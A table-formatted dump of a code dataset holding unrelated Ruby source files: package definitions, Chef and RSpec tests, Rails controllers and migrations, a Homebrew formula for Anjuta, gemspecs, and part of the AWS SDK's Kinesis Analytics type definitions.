hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
8740e1e77d34b1a92b04d9a8807c767c5b0cac77
| 312 |
# -*- ruby encoding: utf-8 -*-
class Halozsh::Package::Definition::WillGit < Halozsh::Package
include Halozsh::Package::Type::Git
default_package
url "git://gitorious.org/willgit/mainline.git"
has_plugin
def plugin_init_file
<<-EOS
add-paths-before-if "#{target.join('bin')}"
EOS
end
end
| 18.352941 | 62 | 0.689103 |
01d4249b11227c775402ed521606eacccc4b2f52
| 47 |
module PublicCourseCli
VERSION = "0.1.0"
end
| 11.75 | 22 | 0.723404 |
d5b74e8ee245bba76de2a17509033cd0974aeaff
| 1,287 |
require 'spec_helper'
describe 'docker::binary' do
context 'by default' do
let(:chef_run) do
ChefSpec::SoloRunner.new(platform: 'ubuntu', version: '12.04') do |node|
node.automatic['kernel']['release'] = '3.8.0'
end.converge(described_recipe)
end
it 'downloads docker binary' do
expect(chef_run).to create_remote_file_if_missing('/usr/bin/docker')
end
end
context 'when install_dir is set' do
let(:chef_run) do
ChefSpec::SoloRunner.new(platform: 'ubuntu', version: '12.04') do |node|
node.normal['docker']['install_dir'] = '/tmp'
node.automatic['kernel']['release'] = '3.8.0'
end.converge(described_recipe)
end
it 'downloads docker binary to install_dir' do
expect(chef_run).to create_remote_file_if_missing('/tmp/docker')
end
end
context 'when install_type is binary' do
let(:chef_run) do
ChefSpec::SoloRunner.new(platform: 'ubuntu', version: '12.04') do |node|
node.normal['docker']['install_type'] = 'binary'
node.automatic['kernel']['release'] = '3.8.0'
end.converge(described_recipe)
end
it 'downloads docker binary to install_dir' do
expect(chef_run).to create_remote_file_if_missing('/usr/local/bin/docker')
end
end
end
| 30.642857 | 80 | 0.661228 |
bfdf74093957696ff496fc09f0a9170044601d3d
| 244 |
require 'test_helper'
class DashboardControllerTest < ActionController::TestCase
test "should get index" do
get :index
assert_response :success
end
test "should get show" do
get :show
assert_response :success
end
end
| 16.266667 | 58 | 0.72541 |
bbe07c2da8bf192d5c9043b279702bd3cece1e18
| 401 |
class CreateInvitations < ActiveRecord::Migration[5.2]
def change
create_table :invitations do |t|
t.references :event, foreign_key: true
t.integer :sender_id, index: true
t.integer :receiver_id, index: true
t.boolean :accepted, default: false
t.timestamps
end
add_index :invitations, [:event_id, :sender_id, :receiver_id], unique: true
end
end
| 28.642857 | 79 | 0.67581 |
3318f0e2f08f2c164778f4a6e9afce09d660b24a
| 844 |
module SimplyPages
# The NavigationHelper module encapsulates helper functionality that will
# be made available to the main_app.
module NavigationHelper
# Renders page navigation li's (or other tag types)
def simply_pages_nav(navtype = SimplyPages.navigation_types.first, tag_type=:li)
html = ''
SimplyPages::Page.published.for_nav(SimplyPages::Page.nav_index(navtype)).all.each do |page|
page_path = main_app.simply_pages_render_path(slug: page.slug)
active_class = (request.path == page_path) ? SimplyPages.navigation_active_item_class : nil
css_class = [SimplyPages.navigation_item_class, active_class].compact.join(' ').sub(/^\s+/,'')
html << content_tag(tag_type, link_to(page.title, page_path, target: '_top'), class: css_class)
end
html.html_safe
end
end
end
| 44.421053 | 103 | 0.721564 |
28f32267d917b131004fb3dd186dd38b1a014784
| 371 |
require 'spec_helper'
describe 'optoro_consul::default' do
describe process('consul') do
it { should be_running }
end
describe service('consul') do
it { should be_enabled }
it { should be_running }
end
describe file('/etc/consul/conf.d/test_service.json') do
it { should be_file }
its(:content) { should match(/test_service/) }
end
end
| 20.611111 | 58 | 0.679245 |
bb210fca3eb2beacfab49d5f179a174022526518
| 7,519 |
# frozen_string_literal: true
require './spec/spec_helper'
require 'engine/game/g_1889'
require 'engine/part/city'
require 'engine/part/edge'
require 'engine/part/junction'
require 'engine/part/label'
require 'engine/part/offboard'
require 'engine/part/path'
require 'engine/part/town'
require 'engine/part/upgrade'
require 'engine/tile'
module Engine
include Engine::Part
describe Tile do
let(:edge0) { Edge.new(0) }
let(:edge1) { Edge.new(1) }
let(:edge2) { Edge.new(2) }
let(:edge3) { Edge.new(3) }
let(:edge4) { Edge.new(4) }
let(:edge5) { Edge.new(5) }
let(:city) { City.new('20') }
let(:city2) { City.new('30', 2) }
let(:kotohira40) { City.new('40') }
let(:town) { Town.new('10') }
let(:town_a) { Town.new('10') }
let(:town_b) { Town.new('10') }
let(:junction) { Junction.new }
describe '.for' do
it 'should render basic tile' do
expect(Tile.for('8')).to eq(
Tile.new('8', color: :yellow, parts: [Path.new(edge0, edge4)])
)
end
it 'should render basic tile' do
expect(Tile.for('blank')).to eq(
Tile.new('blank', color: :white, parts: [])
)
end
it 'should render a lawson track tile' do
actual = Tile.for('81A')
expected = Tile.new(
'81A',
color: :green,
parts: [Path.new(edge0, junction), Path.new(edge2, junction), Path.new(edge4, junction)]
)
expect(actual).to eq(expected)
end
it 'should render a city' do
expect(Tile.for('57')).to eq(
Tile.new('57', color: :yellow, parts: [city, Path.new(edge0, city), Path.new(city, edge3)])
)
end
it 'should render a city with two slots' do
actual = Tile.for('14')
expected = Tile.new(
'14',
color: :green,
parts: [city2, Path.new(edge0, city2), Path.new(edge1, city2), Path.new(edge3, city2), Path.new(edge4, city2)]
)
expect(actual).to eq(expected)
end
it 'should render a tile with a city and a letter (438, 1889 Kotohira)' do
actual = Tile.for('438')
expected = Tile.new(
'438',
color: :yellow,
parts: [
kotohira40,
Path.new(edge0, kotohira40),
Path.new(kotohira40, edge2),
Label.new('H'),
Upgrade.new(80),
]
)
expect(actual).to eq(expected)
end
it 'should render a town' do
expect(Tile.for('3')).to eq(
Tile.new('3', color: :yellow, parts: [town, Path.new(edge0, town), Path.new(town, edge1)])
)
end
it 'should render a double town' do
actual = Tile.for('1')
expected = Tile.new(
'1',
color: :yellow,
parts: [
town_a,
Path.new(edge0, town_a),
Path.new(town_a, edge4),
town_b,
Path.new(edge1, town_b),
Path.new(town_b, edge3),
]
)
expect(actual).to eq(expected)
end
it 'should render a green town' do
actual = Tile.for('87')
expected = Tile.new(
'87',
color: :green,
parts: [
town_a,
Path.new(edge0, town_a),
Path.new(edge1, town_a),
Path.new(edge2, town_a),
Path.new(edge3, town_a),
]
)
expect(actual).to eq(expected)
end
end
describe '.from_code' do
it 'should render tile with upgrade cost and terrain' do
expect(Tile.from_code('name', :white, 'u=c:80,t:mountain+water')).to eq(
Tile.new('name', color: :white, parts: [Upgrade.new(80, %i[mountain water])])
)
end
it 'should render tile with variable revenue' do
code = 'c=r:yellow_30|green_40|brown_50|gray_70'
actual = Tile.from_code('tile', :gray, code)
revenue = 'yellow_30|green_40|brown_50|gray_70'
expected = Tile.new('tile', color: :gray, parts: [City.new(revenue)])
expect(actual).to eq(expected)
end
it 'should render an offboard tile' do
code = 'o=r:yellow_30|brown_60|diesel_100;p=a:0,b:_0;p=a:1,b:_0'
actual = Tile.from_code('test_tile', :red, code)
revenue = 'yellow_30|brown_60|diesel_100'
offboard = Offboard.new(revenue)
expected = Tile.new('test_tile',
color: :red,
parts: [offboard,
Path.new(Edge.new(0), offboard),
Path.new(Edge.new(1), offboard)])
expect(actual).to eq(expected)
end
end
describe '#exits' do
it 'should have the right exits' do
expect(Tile.for('6').exits.to_a).to eq([0, 2])
expect(Tile.for('7').exits.to_a.sort).to eq([0, 5])
end
end
describe '#paths_are_subset_of?' do
context "Tile 9's path set" do
subject { Tile.for('9') }
it 'is subset of itself' do
straight_path = [Path.new(Edge.new(0), Edge.new(3))]
expect(subject.paths_are_subset_of?(straight_path)).to be_truthy
end
it 'is subset of itself reversed' do
straight_path = [Path.new(Edge.new(3), Edge.new(0))]
expect(subject.paths_are_subset_of?(straight_path)).to be_truthy
end
it 'is subset of itself rotated 1' do
straight_path = [Path.new(Edge.new(1), Edge.new(4))]
expect(subject.paths_are_subset_of?(straight_path)).to be_truthy
end
end
end
describe '#upgrades_to?' do
context '1889' do
EXPECTED_TILE_UPGRADES = {
'blank' => %w[7 8 9],
'city' => %w[5 6 57],
'mtn80' => %w[7 8 9],
'mtn+wtr80' => %w[7 8 9],
'wtr80' => %w[7 8 9],
'town' => %w[3 58],
'3' => %w[],
'5' => %w[12 14 15 205 206],
'6' => %w[12 13 14 15 205 206],
'7' => %w[26 27 28 29],
'8' => %w[16 19 23 24 25 28 29],
'9' => %w[19 20 23 24 26 27],
'12' => %w[448 611],
'13' => %w[611],
'14' => %w[611],
'15' => %w[448 611],
'16' => %w[],
'19' => %w[45 46],
'20' => %w[47],
'23' => %w[41 45 47],
'24' => %w[42 46 47],
'25' => %w[40 45 46],
'26' => %w[42 45],
'27' => %w[41 46],
'28' => %w[39 46],
'29' => %w[39 45],
'39' => %w[],
'40' => %w[],
'41' => %w[],
'42' => %w[],
'45' => %w[],
'46' => %w[],
'47' => %w[],
'57' => %w[14 15 205 206],
'58' => %w[],
'205' => %w[448 611],
'206' => %w[448 611],
'437' => %w[],
'438' => %w[439],
'439' => %w[492],
'440' => %w[466],
'448' => %w[],
'465' => %w[],
'466' => %w[],
'492' => %w[],
'611' => %w[],
}.freeze
EXPECTED_TILE_UPGRADES.keys.each do |t|
EXPECTED_TILE_UPGRADES.keys.each do |u|
tile = Tile.for(t)
upgrade = Tile.for(u)
included = EXPECTED_TILE_UPGRADES[t].include?(u)
it "#{t} can#{included ? '' : 'not'} upgrade to #{u}" do
expect(tile.upgrades_to?(upgrade)).to eq(included)
end
end
end
end
end
end
end
| 28.698473 | 120 | 0.489028 |
acb8cf88f4754e927ec3e1a5730af0b775583deb
| 2,202 |
class Anjuta < Formula
desc "GNOME Integrated Development Environment"
homepage "http://anjuta.org"
url "https://download.gnome.org/sources/anjuta/3.18/anjuta-3.18.2.tar.xz"
sha256 "be864f2f1807e1b870697f646294e997d221d5984a135245543b719e501cef8e"
bottle do
revision 1
sha256 "a86acb12825402db12cf881bb80600a4b04792251202f431806203909ed25eea" => :el_capitan
sha256 "d886002dcfa6fef994dcebc2e6552b70be5bc0ec346ef3f39525ee40814d5618" => :yosemite
sha256 "d8d56bd52d1f3eeec0ea3adb7a01c3e6b641236f1a283d408b73d105607417a2" => :mavericks
end
depends_on "pkg-config" => :build
depends_on "intltool" => :build
depends_on "itstool" => :build
depends_on "gtksourceview3"
depends_on "libxml2" => "with-python"
depends_on "libgda"
depends_on "gdl"
depends_on "vte3"
depends_on "hicolor-icon-theme"
depends_on "gnome-icon-theme"
depends_on "gnome-themes-standard" => :optional
depends_on "devhelp" => :optional
depends_on "shared-mime-info"
depends_on :python if MacOS.version <= :snow_leopard
depends_on "vala" => :recommended
depends_on "autogen" => :recommended
def install
system "./configure", "--disable-debug",
"--disable-dependency-tracking",
"--disable-silent-rules",
"--prefix=#{prefix}",
"--disable-schemas-compile"
ENV.append_path "PYTHONPATH", "#{Formula["libxml2"].opt_lib}/python2.7/site-packages"
system "make", "install"
end
def post_install
system "#{Formula["glib"].opt_bin}/glib-compile-schemas", "#{HOMEBREW_PREFIX}/share/glib-2.0/schemas"
system "#{Formula["gtk+3"].opt_bin}/gtk3-update-icon-cache", "-f", "-t", "#{HOMEBREW_PREFIX}/share/icons/hicolor"
# HighContrast is provided by gnome-themes-standard
if File.file?("#{HOMEBREW_PREFIX}/share/icons/HighContrast/.icon-theme.cache")
system "#{Formula["gtk+3"].opt_bin}/gtk3-update-icon-cache", "-f", "-t", "#{HOMEBREW_PREFIX}/share/icons/HighContrast"
end
system "#{Formula["shared-mime-info"].opt_bin}/update-mime-database", "#{HOMEBREW_PREFIX}/share/mime"
end
test do
system "#{bin}/anjuta", "--version"
end
end
| 40.036364 | 124 | 0.691644 |
bb869b58c6afc543fd37443c17a2dbeb78abd155
| 1,103 |
# coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'moab/version'
Gem::Specification.new do |spec|
spec.name = "moab"
spec.version = Moab::VERSION
spec.platform = Gem::Platform::RUBY
spec.authors = ["Jeremy Nicklas"]
spec.email = ["[email protected]"]
spec.summary = %q{Very basic ruby gem that interfaces with Adaptive Computing's scheduler Moab}
spec.description = %q{Ruby wrapper for the Moab binaries. It uses the XML output of Moab for easy parsing.}
spec.homepage = "https://github.com/OSC/moab-ruby"
spec.license = "MIT"
spec.files = `git ls-files -z`.split("\x0")
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ["lib"]
spec.required_ruby_version = ">= 2.2.0"
spec.add_runtime_dependency "nokogiri", "~> 1.0"
spec.add_development_dependency "bundler", "~> 1.7"
spec.add_development_dependency "rake", "~> 10.0"
end
| 40.851852 | 111 | 0.657298 |
61a5b42ff65c42c3e5a2e3943c118568627ec64c
| 683 |
require "linear1/point_slope"
RSpec.describe Linear1::PointSlope do
describe "#new" do
[ [6, 3, 5], [-2, 1, -3], [-4, 2, 0] ].each do |spec|
context "given #{spec[0]}, #{spec[1]}, #{spec[2]}" do
subject {Linear1::PointSlope.new spec[0], spec[1], spec[2]}
it "should not raise error" do
expect{Linear1::PointSlope.new spec[0], spec[1], spec[2]}.to_not raise_error
end
its(:to_slope_intercept) {is_expected.to be_instance_of Linear1::SlopeIntercept}
end
end
end
[Linear1::SlopeIntercept(4, 3)].each do |eq|
context "given #{eq}" do
subject {Linear1::PointSlope *Array(eq)}
it {is_expected.to be_instance_of Linear1::PointSlope}
end
end
end
| 32.52381 | 84 | 0.666179 |
5d3ed093adc2c84f02a782160cc20f5fca311fdf
| 730 |
Pod::Spec.new do |s|
s.name = 'CropViewController'
s.version = '2.5.4'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.summary = 'A Swift view controller that enables cropping and rotating of UIImage objects.'
s.homepage = 'https://github.com/TimOliver/TOCropViewController'
s.author = 'Tim Oliver'
s.source = { :git => 'https://github.com/TimOliver/TOCropViewController.git', :tag => s.version }
s.platform = :ios, '8.0'
s.source_files = 'Swift/CropViewController/**/*.{h,swift}', 'Objective-C/TOCropViewController/**/*.{h,m}'
s.resource_bundles = {
'TOCropViewControllerBundle' => ['Objective-C/TOCropViewController/**/*.lproj']
}
s.requires_arc = true
s.swift_version = '5.0'
end
| 42.941176 | 107 | 0.663014 |
bbd2c0516b3e674d2bb7b79d24b7eaca43ec61d8
| 1,340 |
unless Enumerable.method_defined? :chunk
require 'backports/1.9.1/enumerator/new'
module Enumerable
def chunk(initial_state = nil, &original_block)
raise ArgumentError, "no block given" unless block_given?
::Enumerator.new do |yielder|
previous = nil
accumulate = []
block = initial_state.nil? ? original_block : Proc.new{|val| original_block.call(val, initial_state.clone)}
each do |val|
key = block.call(val)
if key.nil? || (key.is_a?(Symbol) && key.to_s[0,1] == "_")
yielder.yield [previous, accumulate] unless accumulate.empty?
accumulate = []
previous = nil
case key
when nil, :_separator
when :_alone
yielder.yield [key, [val]]
else
raise RuntimeError, "symbol beginning with an underscore are reserved"
end
else
if previous.nil? || previous == key
accumulate << val
else
yielder.yield [previous, accumulate] unless accumulate.empty?
accumulate = [val]
end
previous = key
end
end
# what to do in case of a break?
yielder.yield [previous, accumulate] unless accumulate.empty?
end
end
end
end
| 33.5 | 115 | 0.562687 |
87a61327263e58b42239d97efd706a894b303fb1
| 908 |
class ArticlesController < ApplicationController
def index
@articles = Article.all
end
def show
@article = Article.find(params[:id])
end
def new
@article = Article.new
end
def edit
@article = Article.find(params[:id])
end
def create
@article = Article.new(article_params)
@article.user = User.find_by_email(params[:article][:email])
if @article.save
redirect_to @article
else
render 'new'
end
end
def update
@article = Article.find(params[:id])
@article.user = User.find_by_email(params[:article][:email])
if @article.update(article_params)
redirect_to @article
else
render 'edit'
end
end
def destroy
@article = Article.find(params[:id])
@article.destroy
redirect_to articles_path
end
private
def article_params
params.require(:article).permit(:title, :text)
end
end
| 17.132075 | 64 | 0.657489 |
617fb361e4cd97872a71547366d4b2456431f266
| 141,283 |
# frozen_string_literal: true
# WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/version-3/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
module Aws::KinesisAnalytics
module Types
# @note When making an API call, you may pass AddApplicationCloudWatchLoggingOptionRequest
# data as a hash:
#
# {
# application_name: "ApplicationName", # required
# current_application_version_id: 1, # required
# cloud_watch_logging_option: { # required
# log_stream_arn: "LogStreamARN", # required
# role_arn: "RoleARN", # required
# },
# }
#
# @!attribute [rw] application_name
# The Kinesis Analytics application name.
# @return [String]
#
# @!attribute [rw] current_application_version_id
# The version ID of the Kinesis Analytics application.
# @return [Integer]
#
# @!attribute [rw] cloud_watch_logging_option
# Provides the CloudWatch log stream Amazon Resource Name (ARN) and
# the IAM role ARN. Note: To write application messages to CloudWatch,
# the IAM role that is used must have the `PutLogEvents` policy action
# enabled.
# @return [Types::CloudWatchLoggingOption]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/AddApplicationCloudWatchLoggingOptionRequest AWS API Documentation
#
class AddApplicationCloudWatchLoggingOptionRequest < Struct.new(
:application_name,
:current_application_version_id,
:cloud_watch_logging_option)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/AddApplicationCloudWatchLoggingOptionResponse AWS API Documentation
#
class AddApplicationCloudWatchLoggingOptionResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass AddApplicationInputProcessingConfigurationRequest
# data as a hash:
#
# {
# application_name: "ApplicationName", # required
# current_application_version_id: 1, # required
# input_id: "Id", # required
# input_processing_configuration: { # required
# input_lambda_processor: { # required
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# },
# }
#
# @!attribute [rw] application_name
# Name of the application to which you want to add the input
# processing configuration.
# @return [String]
#
# @!attribute [rw] current_application_version_id
# Version of the application to which you want to add the input
# processing configuration. You can use the [DescribeApplication][1]
# operation to get the current application version. If the version
# specified is not the current version, the
# `ConcurrentModificationException` is returned.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_DescribeApplication.html
# @return [Integer]
#
# @!attribute [rw] input_id
# The ID of the input configuration to add the input processing
# configuration to. You can get a list of the input IDs for an
# application using the [DescribeApplication][1] operation.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_DescribeApplication.html
# @return [String]
#
# @!attribute [rw] input_processing_configuration
# The [InputProcessingConfiguration][1] to add to the application.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_InputProcessingConfiguration.html
# @return [Types::InputProcessingConfiguration]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/AddApplicationInputProcessingConfigurationRequest AWS API Documentation
#
class AddApplicationInputProcessingConfigurationRequest < Struct.new(
:application_name,
:current_application_version_id,
:input_id,
:input_processing_configuration)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/AddApplicationInputProcessingConfigurationResponse AWS API Documentation
#
class AddApplicationInputProcessingConfigurationResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass AddApplicationInputRequest
# data as a hash:
#
# {
# application_name: "ApplicationName", # required
# current_application_version_id: 1, # required
# input: { # required
# name_prefix: "InAppStreamName", # required
# input_processing_configuration: {
# input_lambda_processor: { # required
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# },
# kinesis_streams_input: {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# kinesis_firehose_input: {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# input_parallelism: {
# count: 1,
# },
# input_schema: { # required
# record_format: { # required
# record_format_type: "JSON", # required, accepts JSON, CSV
# mapping_parameters: {
# json_mapping_parameters: {
# record_row_path: "RecordRowPath", # required
# },
# csv_mapping_parameters: {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# },
# },
# },
# record_encoding: "RecordEncoding",
# record_columns: [ # required
# {
# name: "RecordColumnName", # required
# mapping: "RecordColumnMapping",
# sql_type: "RecordColumnSqlType", # required
# },
# ],
# },
# },
# }
#
# @!attribute [rw] application_name
# Name of your existing Amazon Kinesis Analytics application to which
# you want to add the streaming source.
# @return [String]
#
# @!attribute [rw] current_application_version_id
# Current version of your Amazon Kinesis Analytics application. You
# can use the [DescribeApplication][1] operation to find the current
# application version.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_DescribeApplication.html
# @return [Integer]
#
# @!attribute [rw] input
# The [Input][1] to add.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_Input.html
# @return [Types::Input]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/AddApplicationInputRequest AWS API Documentation
#
class AddApplicationInputRequest < Struct.new(
:application_name,
:current_application_version_id,
:input)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/AddApplicationInputResponse AWS API Documentation
#
class AddApplicationInputResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass AddApplicationOutputRequest
# data as a hash:
#
# {
# application_name: "ApplicationName", # required
# current_application_version_id: 1, # required
# output: { # required
# name: "InAppStreamName", # required
# kinesis_streams_output: {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# kinesis_firehose_output: {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# lambda_output: {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# destination_schema: { # required
# record_format_type: "JSON", # required, accepts JSON, CSV
# },
# },
# }
#
# @!attribute [rw] application_name
# Name of the application to which you want to add the output
# configuration.
# @return [String]
#
# @!attribute [rw] current_application_version_id
# Version of the application to which you want to add the output
# configuration. You can use the [DescribeApplication][1] operation to
# get the current application version. If the version specified is not
# the current version, the `ConcurrentModificationException` is
# returned.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_DescribeApplication.html
# @return [Integer]
#
# @!attribute [rw] output
# An array of objects, each describing one output configuration. In
# the output configuration, you specify the name of an in-application
# stream, a destination (that is, an Amazon Kinesis stream, an Amazon
# Kinesis Firehose delivery stream, or an AWS Lambda function), and
# record the formation to use when writing to the destination.
# @return [Types::Output]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/AddApplicationOutputRequest AWS API Documentation
#
class AddApplicationOutputRequest < Struct.new(
:application_name,
:current_application_version_id,
:output)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/AddApplicationOutputResponse AWS API Documentation
#
class AddApplicationOutputResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass AddApplicationReferenceDataSourceRequest
# data as a hash:
#
# {
# application_name: "ApplicationName", # required
# current_application_version_id: 1, # required
# reference_data_source: { # required
# table_name: "InAppTableName", # required
# s3_reference_data_source: {
# bucket_arn: "BucketARN", # required
# file_key: "FileKey", # required
# reference_role_arn: "RoleARN", # required
# },
# reference_schema: { # required
# record_format: { # required
# record_format_type: "JSON", # required, accepts JSON, CSV
# mapping_parameters: {
# json_mapping_parameters: {
# record_row_path: "RecordRowPath", # required
# },
# csv_mapping_parameters: {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# },
# },
# },
# record_encoding: "RecordEncoding",
# record_columns: [ # required
# {
# name: "RecordColumnName", # required
# mapping: "RecordColumnMapping",
# sql_type: "RecordColumnSqlType", # required
# },
# ],
# },
# },
# }
#
# @!attribute [rw] application_name
# Name of an existing application.
# @return [String]
#
# @!attribute [rw] current_application_version_id
# Version of the application for which you are adding the reference
# data source. You can use the [DescribeApplication][1] operation to
# get the current application version. If the version specified is not
# the current version, the `ConcurrentModificationException` is
# returned.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_DescribeApplication.html
# @return [Integer]
#
# @!attribute [rw] reference_data_source
# The reference data source can be an object in your Amazon S3 bucket.
# Amazon Kinesis Analytics reads the object and copies the data into
# the in-application table that is created. You provide an S3 bucket,
# object key name, and the resulting in-application table that is
# created. You must also provide an IAM role with the necessary
# permissions that Amazon Kinesis Analytics can assume to read the
# object from your S3 bucket on your behalf.
# @return [Types::ReferenceDataSource]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/AddApplicationReferenceDataSourceRequest AWS API Documentation
#
class AddApplicationReferenceDataSourceRequest < Struct.new(
:application_name,
:current_application_version_id,
:reference_data_source)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/AddApplicationReferenceDataSourceResponse AWS API Documentation
#
class AddApplicationReferenceDataSourceResponse < Aws::EmptyStructure; end
# <note markdown="1"> This documentation is for version 1 of the Amazon Kinesis Data
# Analytics API, which only supports SQL applications. Version 2 of the
# API supports SQL and Java applications. For more information about
# version 2, see [Amazon Kinesis Data Analytics API V2
# Documentation](/kinesisanalytics/latest/apiv2/Welcome.html).
#
# </note>
#
# Provides a description of the application, including the application
# Amazon Resource Name (ARN), status, latest version, and input and
# output configuration.
#
# @!attribute [rw] application_name
# Name of the application.
# @return [String]
#
# @!attribute [rw] application_description
# Description of the application.
# @return [String]
#
# @!attribute [rw] application_arn
# ARN of the application.
# @return [String]
#
# @!attribute [rw] application_status
# Status of the application.
# @return [String]
#
# @!attribute [rw] create_timestamp
# Time stamp when the application version was created.
# @return [Time]
#
# @!attribute [rw] last_update_timestamp
# Time stamp when the application was last updated.
# @return [Time]
#
# @!attribute [rw] input_descriptions
# Describes the application input configuration. For more information,
# see [Configuring Application Input][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/how-it-works-input.html
# @return [Array<Types::InputDescription>]
#
# @!attribute [rw] output_descriptions
# Describes the application output configuration. For more
# information, see [Configuring Application Output][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/how-it-works-output.html
# @return [Array<Types::OutputDescription>]
#
# @!attribute [rw] reference_data_source_descriptions
# Describes reference data sources configured for the application. For
# more information, see [Configuring Application Input][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/how-it-works-input.html
# @return [Array<Types::ReferenceDataSourceDescription>]
#
# @!attribute [rw] cloud_watch_logging_option_descriptions
# Describes the CloudWatch log streams that are configured to receive
# application messages. For more information about using CloudWatch
# log streams with Amazon Kinesis Analytics applications, see [Working
# with Amazon CloudWatch Logs][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/cloudwatch-logs.html
# @return [Array<Types::CloudWatchLoggingOptionDescription>]
#
# @!attribute [rw] application_code
# Returns the application code that you provided to perform data
# analysis on any of the in-application streams in your application.
# @return [String]
#
# @!attribute [rw] application_version_id
# Provides the current application version.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/ApplicationDetail AWS API Documentation
#
class ApplicationDetail < Struct.new(
:application_name,
:application_description,
:application_arn,
:application_status,
:create_timestamp,
:last_update_timestamp,
:input_descriptions,
:output_descriptions,
:reference_data_source_descriptions,
:cloud_watch_logging_option_descriptions,
:application_code,
:application_version_id)
SENSITIVE = []
include Aws::Structure
end
# <note markdown="1"> This documentation is for version 1 of the Amazon Kinesis Data
# Analytics API, which only supports SQL applications. Version 2 of the
# API supports SQL and Java applications. For more information about
# version 2, see [Amazon Kinesis Data Analytics API V2
# Documentation](/kinesisanalytics/latest/apiv2/Welcome.html).
#
# </note>
#
# Provides application summary information, including the application
# Amazon Resource Name (ARN), name, and status.
#
# @!attribute [rw] application_name
# Name of the application.
# @return [String]
#
# @!attribute [rw] application_arn
# ARN of the application.
# @return [String]
#
# @!attribute [rw] application_status
# Status of the application.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/ApplicationSummary AWS API Documentation
#
class ApplicationSummary < Struct.new(
:application_name,
:application_arn,
:application_status)
SENSITIVE = []
include Aws::Structure
end
# Describes updates to apply to an existing Amazon Kinesis Analytics
# application.
#
# @note When making an API call, you may pass ApplicationUpdate
# data as a hash:
#
# {
# input_updates: [
# {
# input_id: "Id", # required
# name_prefix_update: "InAppStreamName",
# input_processing_configuration_update: {
# input_lambda_processor_update: { # required
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# },
# kinesis_streams_input_update: {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# kinesis_firehose_input_update: {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# input_schema_update: {
# record_format_update: {
# record_format_type: "JSON", # required, accepts JSON, CSV
# mapping_parameters: {
# json_mapping_parameters: {
# record_row_path: "RecordRowPath", # required
# },
# csv_mapping_parameters: {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# },
# },
# },
# record_encoding_update: "RecordEncoding",
# record_column_updates: [
# {
# name: "RecordColumnName", # required
# mapping: "RecordColumnMapping",
# sql_type: "RecordColumnSqlType", # required
# },
# ],
# },
# input_parallelism_update: {
# count_update: 1,
# },
# },
# ],
# application_code_update: "ApplicationCode",
# output_updates: [
# {
# output_id: "Id", # required
# name_update: "InAppStreamName",
# kinesis_streams_output_update: {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
